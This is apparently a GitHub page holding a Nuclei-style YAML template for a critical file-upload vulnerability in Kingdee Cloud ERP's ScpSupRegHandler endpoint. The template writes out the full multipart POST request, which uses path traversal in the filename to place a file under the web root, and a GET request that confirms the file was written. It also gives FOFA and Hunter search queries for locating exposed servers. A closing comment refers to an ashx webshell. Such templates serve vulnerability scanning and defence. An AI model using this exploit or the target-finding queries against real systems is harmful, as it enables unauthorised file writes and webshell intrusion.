neutron/tmp.yaml at master · chainreactors/neutron · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
id: kingdee-erp-srm-scpsupreghandler-fileupload

info:
  name: 金蝶云星空ERP/k3cloud/SRM/ScpSupRegHandler文件上传漏洞
  author: wuha
  severity: critical
  description: 金蝶云星空ERP/k3cloud/SRM/ScpSupRegHandler文件上传漏洞
  reference:
    - https://
  tags: kingdee,fileupload,erp
  metadata:
    veified: true
    fofa-query: body="/HTML5/Content/themes/images/cloud_loading_galaxy.gif"
    hunter-query: web.body="/HTML5/Content/themes/images/cloud_loading_galaxy.gif"

variables:
  filename: '{{rand_base(5)}}'

http:
  - raw:
      - |
        POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1
        Host: {{Hostname}}
        Referer: http://www.baidu.com
        Content-Type: multipart/form-data; boundary=2ac719f8e29343df94aa4ab49e456061
        Content-Length: 389

        --2ac719f8e29343df94aa4ab49e456061
        Content-Disposition: form-data; name="dbId_v"

        .
        --2ac719f8e29343df94aa4ab49e456061
        Content-Disposition: form-data; name="FID"

        2022
        --2ac719f8e29343df94aa4ab49e456061
        Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/{{filename}}.txt."
        Content-Type: text/plain

        {{randstr}}

        --2ac719f8e29343df94aa4ab49e456061--

      - |
        GET /K3Cloud/uploadfiles/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 200 && contains((body_1), 'true')
          - status_code_2 == 200 && contains((body_2), '{{randstr}}')
        condition: and
# ashx马